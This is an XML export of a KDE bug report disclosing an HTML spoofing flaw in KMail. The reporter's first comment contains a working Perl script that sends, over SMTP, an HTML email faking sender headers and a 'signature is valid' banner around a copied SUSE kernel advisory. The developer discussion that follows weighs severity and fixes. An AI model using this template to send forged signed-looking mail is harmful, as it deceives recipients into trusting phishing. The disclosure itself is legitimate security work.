<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.kde.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.6"
          urlbase="https://bugs.kde.org/"
          
          maintainer="sysadmin@kde.org"
>

    <bug>
          <bug_id>96020</bug_id>
          
          <creation_ts>2004-12-30 09:42:13 +0000</creation_ts>
          <short_desc>HTML Allows Spoofing of Emails Content</short_desc>
          <delta_ts>2009-12-20 16:46:40 +0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>10</classification_id>
          <classification>Unmaintained</classification>
          <product>kmail</product>
          <component>messageviewer</component>
          <version>1.10.90</version>
          <rep_platform>Debian testing</rep_platform>
          <op_sys>Linux</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>testcase, triaged</keywords>
          <priority>NOR</priority>
          <bug_severity>normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>0</everconfirmed>
          <reporter name="Noam Rathaus">noamr</reporter>
          <assigned_to name="kdepim bugs">pim-bugs-null</assigned_to>
          <cc>ana</cc>
    
    <cc>bjoern</cc>
    
    <cc>dominik.tritscher</cc>
    
    <cc>jtamate</cc>
    
    <cc>lemma</cc>
    
    <cc>protomank</cc>
    
    <cc>security</cc>
          
          <cf_commitlink></cf_commitlink>
          <cf_versionfixedin></cf_versionfixedin>
          <cf_sentryurl></cf_sentryurl>
          <votes>21</votes>

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>298122</commentid>
    <comment_count>0</comment_count>
    <who name="Noam Rathaus">noamr</who>
    <bug_when>2004-12-30 09:42:13 +0000</bug_when>
    <thetext>Version:            (using KDE KDE 3.3.2)
Installed from:    Debian testing/unstable Packages

A malicious person can craft an HTML email that would look as if it was:
1) Sent from someone else - minor
2) Signed/Encrypted while it is actually an ordinary HTML file - major

The HTML email can also overlap sections of the email that might be used to identify the sender/date/etc without requiring to change any of the actual information of the email... i.e. you don&apos;t need to change the &quot;MAIL FROM:&quot; / &quot;FROM: &quot; entry to overwrite it via the HTML email.

Perquisites:
1) HTML needs to be enabled - frequently people just enable HTML support
2) The color scheme needs to be guessed, if it has been changed from the default - not frequent

Don&apos;t affect the vulnerability:
1) Adding the HTML warning tab on the left side of the email, just because its there, you don&apos;t think it&apos;s a spoofed email

Exploit:
#!/usr/bin/perl -w
#
# By Noam Rathaus - Beyond Security

use IO::Socket;
use strict;

my $Host = shift;

my $remote = IO::Socket::INET-&gt;new ( Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; $Host, PeerPort =&gt; &quot;smtp&quot;);

unless ($remote) { die &quot;cannot connect to SMTP daemon on $Host&quot; }

print &quot;connected\n&quot;;

waitfor($remote, &quot;220 &quot;);

print &quot;HELO\n&quot;;
print $remote &quot;HELO whatever.com\r\n&quot;;

waitfor($remote, &quot;250 &quot;);

print &quot;MAIL FROM\n&quot;;
print $remote &quot;MAIL FROM: test\@whoever.com\r\n&quot;;

waitfor($remote, &quot;250 &quot;);

print &quot;RCPT TO\n&quot;;
print $remote &quot;RCPT TO: testy\@whoever.com\r\n&quot;;

waitfor($remote, &quot;250 &quot;);

print &quot;DATA\n&quot;;
print $remote &quot;DATA\r\n&quot;;

waitfor($remote, &quot;354 &quot;);

print $remote &lt;&lt;_EOF_;
From: newone\@whoever.com\r
Subject: Test Case\r
To: oldone\@whoever.com\r
Date: Mon, 27 Dec 2004 01:43:24 -0600\r
MIME-version: 1.0\r
Content-type: text/html; charset=&quot;utf8&quot;\r
Content-transfer-encoding: 8bit\r
\r
&lt;HTML&gt;\r
&lt;BODY&gt;\r
&lt;BR&gt;\r
&lt;SPAN STYLE=&quot;font-family: arial; position: absolute; left: 0px; top: 0px; background: white; width: 99%; margin-left: 10px; margin-top: 10px;&quot;&gt;\r
&lt;TABLE STYLE=&quot;width: 100%; background: white; border: 1px solid; margin-left: auto; margin-right: auto;&quot; CELLSPACING=&quot;0&quot; CELLPADDING=&quot;2&quot;&gt;\r
 &lt;TR&gt;\r
  &lt;TD COLSPAN=&quot;2&quot; STYLE=&quot;background: #ffdd76;&quot;&gt;&lt;B&gt;Microsoft Alert&lt;/B&gt;&lt;/TD&gt;\r
 &lt;/TR&gt;\r
 &lt;TR STYLE=&quot;background: #eeeee6;&quot;&gt;\r
  &lt;TD WIDTH=&quot;1&quot;&gt;&lt;B&gt;From:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;A HREF=&quot;mailto:suse\@suse.com&quot;&gt;suse\@suse.com&lt;/A&gt;&lt;/TD&gt;\r
 &lt;/TR&gt;\r
 &lt;TR STYLE=&quot;background: #eeeee6;&quot;&gt;\r
  &lt;TD&gt;&lt;B&gt;To:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;A HREF=&quot;mailto:test\@whoever.com&quot;&gt;test\@whoever.com&lt;/A&gt;&lt;/TD&gt;\r
 &lt;/TR&gt;\r
 &lt;TR STYLE=&quot;background: #eeeee6;&quot;&gt;\r
  &lt;TD&gt;&lt;B&gt;Date:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;2004-12-27 09:43&lt;/TD&gt;\r
 &lt;/TR&gt;\r
&lt;/TABLE&gt;\r
&lt;BR&gt;\r
&lt;TABLE STYLE=&quot;width: 99%; margin-left: 10px; background: white; border: 1px solid; border-color: #40FF40; margin-left: auto; margin-right: auto;&quot; CELLSPACING=&quot;0&quot; CELLPADDING=&quot;2&quot;&gt;
 &lt;TR&gt;\r
  &lt;TD STYLE=&quot;background: #40FF40;&quot;&gt;&lt;B&gt;Message was signed by &lt;A HREF=&quot;mailto:security\@suse.de&quot;&gt;SuSE Security Team &amp;lt;security\@suse.de&amp;gt;&lt;/A&gt; (Key ID: 0x3D25D3D9).&lt;BR&gt;
  The signature is valid and the key is fully trusted.&lt;/B&gt;&lt;/TD&gt;\r
 &lt;/TR&gt;\r
 &lt;TR&gt;
  &lt;TD STYLE=&quot;background: #e8ffe8;&quot;&gt;
&lt;PRE&gt;______________________________________________________________________________

                        SUSE Security Announcement

        Package:                kernel
        Announcement-ID:        SUSE-SA:2004:046
        Date:                   Wednesday, Dec 22nd 2004 16:00 MEST
        Affected products:      9.0 / AMD64
                                SUSE Linux Enterprise Server 8 / AMD64
        Vulnerability Type:     local privilege escalation
        Severity (1-10):        8
        SUSE default package:   yes
        Cross References:       CAN-2004-1144

    Content of this advisory:
        1) security vulnerability resolved:
             - local root exploit in 2.4 AMD64 kernel
           problem description
        2) solution/workaround
        3) special instructions and notes
        4) package location and checksums
        5) pending vulnerabilities, solutions, workarounds:
            - see SUSE Security Summary
        6) standard appendix (further information)

______________________________________________________________________________

1) problem description, brief discussion

    Due to missing argument checking in the 32 bit compatibility
    system call handler in the 2.4 Linux Kernel on the AMD64 platform
    a local attacker can gain root access using a simple program.

    This issue was found and fixed by Petr Vandrovec and has been
    assigned the Mitre CVE ID CAN-2004-1144.

    This is a 2.4 Kernel and AMD64 specific problem, other
    architectures and the 2.6 Kernel are not affected.


2) solution/workaround

    There is no workaround, please install the supplied kernels.

3) special instructions and notes

    SPECIAL INSTALL INSTRUCTIONS:
    ==============================
    The following paragraphs will guide you through the installation
    process in a step-by-step fashion. The character sequence &quot;****&quot;
    marks the beginning of a new paragraph. In some cases, the steps
    outlined in a particular paragraph may or may not be applicable
    to your situation.
    Therefore, please make sure to read through all of the steps below
    before attempting any of these procedures.
    All of the commands that need to be executed are required to be
    run as the superuser (root). Each step relies on the steps before
    it to complete successfully.


  **** Step 1: Determine the needed kernel type

    Please use the following command to find the kernel type that is
    installed on your system:

      rpm -qf /boot/vmlinuz

    Following are the possible kernel types (disregard the version and
    build number following the name separated by the &quot;-&quot; character)

      k_deflt   # default kernel, good for most systems.
      k_i386    # kernel for older processors and chip sets
      k_athlon  # kernel made specifically for AMD Athlon(tm) family processors
      k_psmp    # kernel for Pentium-I dual processor systems
      k_smp     # kernel for SMP systems (Pentium-II and above)
      k_smp4G   # kernel for SMP systems which supports a maximum of 4G of RAM
      kernel-64k-pagesize
      kernel-bigsmp
      kernel-default
      kernel-smp

  **** Step 2: Download the package for your system

    Please download the kernel RPM package for your distribution with the
    name as indicated by Step 1. The list of all kernel rpm packages is
    appended below. Note: The kernel-source package does not
    contain a binary kernel in bootable form. Instead, it contains the
    sources that the binary kernel rpm packages are created from. It can be
    used by administrators who have decided to build their own kernel.
    Since the kernel-source.rpm is an installable (compiled) package that
    contains sources for the linux kernel, it is not the source RPM for
    the kernel RPM binary packages.

    The kernel RPM binary packages for the distributions can be found at the
    locations below ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64.

    After downloading the kernel RPM package for your system, you should
    verify the authenticity of the kernel rpm package using the methods as
    listed in section 3) of each SUSE Security Announcement.


  **** Step 3: Installing your kernel rpm package

    Install the rpm package that you have downloaded in Steps 3 or 4 with
    the command
        rpm -Uhv --nodeps --force &amp;lt;K_FILE.RPM&amp;gt;
    where &amp;lt;K_FILE.RPM&amp;gt; is the name of the rpm package that you downloaded.

    Warning: After performing this step, your system will likely not be
             able to boot if the following steps have not been fully
             followed.


    If you run SUSE LINUX 8.1 and haven&apos;t applied the kernel update
    (SUSE-SA:2003:034), AND you are using the freeswan package, you also
    need to update the freeswan rpm as a dependency as offered
    by YOU (YaST Online Update). The package can be downloaded from
    ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/

  **** Step 4: configuring and creating the initrd

    The initrd is a ramdisk that is loaded into the memory of your
    system together with the kernel boot image by the bootloader. The
    kernel uses the content of this ramdisk to execute commands that must
    be run before the kernel can mount its actual root filesystem. It is
    usually used to initialize SCSI drivers or NIC drivers for diskless
    operation.

    The variable INITRD_MODULES in /etc/sysconfig/kernel determines
    which kernel modules will be loaded in the initrd before the kernel
    has mounted its actual root filesystem. The variable should contain
    your SCSI adapter (if any) or filesystem driver modules.

    With the installation of the new kernel, the initrd has to be
    re-packed with the update kernel modules. Please run the command

      mk_initrd

    as root to create a new init ramdisk (initrd) for your system.
    On SuSE Linux 8.1 and later, this is done automatically when the
    RPM is installed.


  **** Step 5: bootloader

    If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there
    are two options:
    Depending on your software configuration, you have either the lilo
    bootloader or the grub bootloader installed and initialized on your
    system.
    The grub bootloader does not require any further actions to be
    performed after the new kernel images have been moved in place by the
    rpm Update command.
    If you have a lilo bootloader installed and initialized, then the lilo
    program must be run as root. Use the command

      grep LOADER_TYPE /etc/sysconfig/bootloader

    to find out which boot loader is configured. If it is lilo, then you
    must run the lilo command as root. If grub is listed, then your system
    does not require any bootloader initialization.

    Warning: An improperly installed bootloader may render your system
             unbootable.

  **** Step 6: reboot

    If all of the steps above have been successfully completed on your
    system, then the new kernel including the kernel modules and the
    initrd should be ready to boot. The system needs to be rebooted for
    the changes to become active. Please make sure that all steps have
    completed, then reboot using the command
        shutdown -r now
    or
        init 6

    Your system should now shut down and reboot with the new kernel.


4) package location and checksums

    Please download the update package for your distribution and verify its
    integrity by the methods listed in section 3) of this announcement.
    Then, install the package using the command &quot;rpm -Fhv file.rpm&quot; to apply
    the update.
    Our maintenance customers are being notified individually. The packages
    are being offered to install from the maintenance web.

    x86-64 Platform:

    SUSE Linux 9.0:
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-268.x86_64.rpm
      585c7dd47f8e6f9e60ae4eed5fbb21fe
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-268.x86_64.rpm
      44b0c5e8beae0d1b60b85f0f1406a4f9
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.21-268.x86_64.rpm
      000194dc37b15a93c8b0313288c9c879
    source rpm(s):
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-268.src.rpm
      3f0a9d938251f2d72fce0ccc979c19a1
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-268.src.rpm
      33b072ab6ef6333f42bda07a5de7e658
    ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-268.src.rpm
      772c469c0907594d6396918a5d4c91f6
______________________________________________________________________________

5)  Pending vulnerabilities in SUSE Distributions and Workarounds:

    See the SUSE Security Summary Report for more information.

______________________________________________________________________________

6)  standard appendix: authenticity verification, additional information

  - Package authenticity verification:

    SUSE update packages are available on many mirror ftp servers all over
    the world. While this service is being considered valuable and important
    to the free and open source software community, many users wish to be
    sure about the origin of the package and its content before installing
    the package. There are two verification methods that can be used
    independently from each other to prove the authenticity of a downloaded
    file or rpm package:
    1) md5sums as provided in the (cryptographically signed) announcement.
    2) using the internal gpg signatures of the rpm package.

    1) execute the command
        md5sum &amp;lt;name-of-the-file.rpm&amp;gt;
       after you downloaded the file from a SUSE ftp server or its mirrors.
       Then, compare the resulting md5sum with the one that is listed in the
       announcement. Since the announcement containing the checksums is
       cryptographically signed (usually using the key security\@suse.de),
       the checksums show proof of the authenticity of the package.
       We disrecommend to subscribe to security lists which cause the
       email message containing the announcement to be modified so that
       the signature does not match after transport through the mailing
       list software.
       Downsides: You must be able to verify the authenticity of the
       announcement in the first place. If RPM packages are being rebuilt
       and a new version of a package is published on the ftp server, all
       md5 sums for the files are useless.

    2) rpm package signatures provide an easy way to verify the authenticity
       of an rpm package. Use the command
        rpm -v --checksig &amp;lt;file.rpm&amp;gt;
       to verify the signature of the package, where &amp;lt;file.rpm&amp;gt; is the
       filename of the rpm package that you have downloaded. Of course,
       package authenticity verification can only target an un-installed rpm
       package file.
       Prerequisites:
        a) gpg is installed
        b) The package is signed using a certain key. The public part of this
           key must be installed by the gpg program in the directory
           ~/.gnupg/ under the user&apos;s home directory who performs the
           signature verification (usually root). You can import the key
           that is used by SUSE in rpm packages for SUSE Linux by saving
           this announcement to a file (&quot;announcement.txt&quot;) and
           running the command (do &quot;su -&quot; to be root):
            gpg --batch; gpg &amp;lt; announcement.txt | gpg --import
           SUSE Linux distributions version 7.1 and thereafter install the
           key &quot;build\@suse.de&quot; upon installation or upgrade, provided that
           the package gpg is installed. The file containing the public key
           is placed at the top-level directory of the first CD (pubring.gpg)
           and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .


  - SUSE runs two security mailing lists to which any interested party may
    subscribe:

    suse-security\@suse.com
        -   general/linux/SUSE security discussion.
            All SUSE security announcements are sent to this list.
            To subscribe, send an email to
                &amp;lt;suse-security-subscribe\@suse.com&amp;gt;.

    suse-security-announce\@suse.com
        -   SUSE&apos;s announce-only mailing list.
            Only SUSE&apos;s security announcements are sent to this list.
            To subscribe, send an email to
                &amp;lt;suse-security-announce-subscribe\@suse.com&amp;gt;.

    For general information or the frequently asked questions (FAQ)
    send mail to:
        &amp;lt;suse-security-info\@suse.com&amp;gt; or
        &amp;lt;suse-security-faq\@suse.com&amp;gt; respectively.

    =====================================================================
    SUSE&apos;s security contact is &amp;lt;security\@suse.com&amp;gt; or &amp;lt;security\@suse.de&amp;gt;.
    The &amp;lt;security\@suse.de&amp;gt; public key is listed below.
    =====================================================================
______________________________________________________________________________

    The information in this advisory may be distributed or reproduced,
    provided that the advisory is not modified in any way. In particular,
    it is desired that the clear-text signature shows proof of the
    authenticity of the text.
    SUSE Linux AG makes no warranties of any kind whatsoever with respect
    to the information contained in this security advisory.

Type Bits/KeyID    Date       User ID
pub  2048R/3D25D3D9 1999-03-06 SuSE Security Team &amp;lt;security\@suse.de&amp;gt;
pub  1024D/9C800ACA 2000-10-19 SuSE Package Signing Key &amp;lt;build\@suse.de&amp;gt;

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.7 (GNU/Linux)

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
=Fv2n
-----END PGP PUBLIC KEY BLOCK-----
&lt;/PRE&gt;
&lt;/TD&gt;
 &lt;/TR&gt;
 &lt;TR&gt;
  &lt;TD STYLE=&quot;background: #40FF40;&quot;&gt;&lt;B&gt;End of signed message&lt;/B&gt;&lt;/TD&gt;
 &lt;/TR&gt;
&lt;/TABLE&gt;
&lt;BR&gt;\r
&lt;/SPAN&gt;\r
&lt;/BODY&gt;\r
&lt;/HTML&gt;\r
\r
.\r
_EOF_

waitfor($remote, &quot;250 &quot;);

close ($remote);

sub waitfor
{
 my ($socket, $WaitFor) = @_;

 while (&lt;$socket&gt;)
 {
  print $_;
  if (/$WaitFor/)
  {
   last;
  }
 }
}</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>314356</commentid>
    <comment_count>1</comment_count>
    <who name="Noam Rathaus">noamr</who>
    <bug_when>2005-02-15 13:51:28 +0000</bug_when>
    <thetext>Vulnerability has been assigned: CAN-2005-0404</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>314369</commentid>
    <comment_count>2</comment_count>
    <who name="Waldo Bastian">bastian</who>
    <bug_when>2005-02-15 14:36:18 +0000</bug_when>
    <thetext>Could you attach the exploit as attachment to this bugreport, otherwise the bugsystem mangles it. Thanks!</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>315031</commentid>
    <comment_count>3</comment_count>
      <attachid>9684</attachid>
    <who name="Noam Rathaus">noamr</who>
    <bug_when>2005-02-17 13:21:37 +0000</bug_when>
    <thetext>Created attachment 9684
Exploit code</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>337198</commentid>
    <comment_count>4</comment_count>
    <who name="Ana Guerrero (Debian KDE maintainers)">ana</who>
    <bug_when>2005-04-25 01:04:27 +0000</bug_when>
    <thetext>More info at: http://www.securityfocus.com/bid/13085

Does this affect the KMail in KDE 3.4.0?

In any case, the issue is two months old. Some sort of fix or response would be great.

Thanks.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>337215</commentid>
    <comment_count>5</comment_count>
    <who name="Dirk Mueller">mueller</who>
    <bug_when>2005-04-25 02:03:09 +0000</bug_when>
    <thetext>it does affect kmail 3.4 the same way it affected all older versions. however, this proof of concept is pretty lame. it doesn&apos;t match the colors, the fonts or even the font sizes. of course you could theoretically tune for that. 

it doesn&apos;t have the usual link to the status popup though, and its clearly
mentioned in several places that HTML rendering has phishing problems, and 
HTML rendering is *disabled* by *default* in kmail, and you get a pretty huge
warning if you still enable it. 

anyway, the html bar also indicates that this is a spoofed message. maybe
not in an obvious way. 

the only way we could mitigate this attack for real though is to load the
actual content in a separate frame, so that it cannot paint over kmail 
specific HTML. This is a long term todo, and there are a few bits missing
in KHTML in order to achieve that. 

so I&apos;d either close it as wontfix or as duplicate, whatever you prefer. </thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>337230</commentid>
    <comment_count>6</comment_count>
    <who name="Ana Guerrero (Debian KDE maintainers)">ana</who>
    <bug_when>2005-04-25 03:24:30 +0000</bug_when>
    <thetext>Well, perhaps keep it open, since this is a problem, just one not as serious as one might think at first glance.

Thanks for explaining the situation - it was very helpful.

Cheers.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>337255</commentid>
    <comment_count>7</comment_count>
    <who name="Noam Rathaus">noamr</who>
    <bug_when>2005-04-25 07:47:04 +0000</bug_when>
    <thetext>The colors, fonts and font sizes all match my version of Kmail/KDE, not to mention that they can be customized to any requirements. The HTML Bar shouldn&apos;t appear if the font sizes match and the screen resolution is known, as it is overlapped by the HTML content, which is what the vulnerability is all about. Overlapping of critical information by HTML code.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>337494</commentid>
    <comment_count>8</comment_count>
    <who name="Dirk Mueller">dmuell</who>
    <bug_when>2005-04-26 10:12:47 +0000</bug_when>
    <thetext>I don&apos;t doubt that the colors/fonts etc match your settings of kmail, but they don&apos;t match mine, and thats probably true for a lot of people. so its not so easy to write a generic phishing this way. 

Also, the html bar is not hidden for me here (KMail HEAD, but there haven&apos;t been changes in that area for ages. Probably 3.4 is not affected). 
</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>473241</commentid>
    <comment_count>9</comment_count>
    <who name="Thomas McGuire">mcguire</who>
    <bug_when>2006-09-27 16:38:18 +0000</bug_when>
    <thetext>IMHO the following are all duplicates of this bug:

Bug #96557
Bug #109625
Bug #123395

Someone with enough permissions please mark these bugs as such.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>473248</commentid>
    <comment_count>10</comment_count>
    <who name="Rex Dieter">rdieter</who>
    <bug_when>2006-09-27 16:53:49 +0000</bug_when>
    <thetext>FYI, just marked the latter 2 dups of the 1st.  Leaving 1st alone, for now, it already contains a reference to this.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>473318</commentid>
    <comment_count>11</comment_count>
    <who name="Ingo Klöcker">kloecker</who>
    <bug_when>2006-09-27 22:50:50 +0000</bug_when>
    <thetext>FWIW: The bar on the left side which can be enabled/disabled by the user in the configuration dialog and which either shows &quot;No HTML Message&quot; or &quot;HTML Message&quot; can&apos;t be overlapped by the HTML content. The HTML content is restricted to the KHTML widget and the side bar is a widget of its own. Thus overlapping is technically impossible.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>646422</commentid>
    <comment_count>12</comment_count>
    <who name="Dominik Tritscher">dominik.tritscher</who>
    <bug_when>2008-09-14 20:44:49 +0000</bug_when>
    <thetext>Just checked that with kmail from KDE4 trunk (r860647).
The HTML warning is not overwritten by the testmail, but the rendering looks like a correctly signed massage. So basically this is still an issue, as long as the signing infos are rendered within the message itself.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>701299</commentid>
    <comment_count>13</comment_count>
    <who name="Jaime Torres">jtamate</who>
    <bug_when>2009-01-17 12:54:25 +0000</bug_when>
    <thetext>With the new messagelist there is allways information that says the message has a signature or not, or is encrypted or not, but I&apos;m sure most users will only see the fancy rendering saying the mail is signed and the signature is valid. 

To solve the phising, the way the signature information is shown must change a lot and must not be possible to simulate it with html mails (or the next great mail format with pretty colors). 

And, very important, the users must be trained to not trust mail messages until they check the message is valid. I&apos;m almost sure that if the exploit is seen with other mail clients, a lot of users will also trust the mail content.


</thetext>
  </long_desc><long_desc isprivate="0" >
